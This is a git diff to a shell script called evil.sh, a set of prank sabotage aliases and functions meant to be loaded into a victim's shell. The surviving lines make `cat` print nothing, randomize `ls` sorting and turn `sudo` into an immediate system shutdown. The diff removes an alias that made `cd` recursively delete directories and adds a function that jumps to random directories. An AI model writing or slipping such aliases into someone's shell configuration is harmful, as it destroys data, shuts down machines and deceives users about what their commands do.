diff --git a/evil.sh b/evil.sh index b7cddd6..5fc2087 100755 --- a/evil.sh +++ b/evil.sh @@ -16,8 +16,15 @@ alias cat=true; # Use a random sort option whenever `ls` is invoked. function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; } -# Delete directories instead of entering them. -alias cd='rm -rfv'; +# Checkout random directories at unexpected times. +function randomcd() { + if [[ $[$RANDOM % 5] != 0 ]]; then + builtin cd $* + else + builtin cd "$(find . -maxdepth 1 -type d | sort -R | head -1)" + fi; +} +alias cd=randomcd # Shut down the computer instead of running a command with super-user rights. alias sudo='sudo shutdown -P now';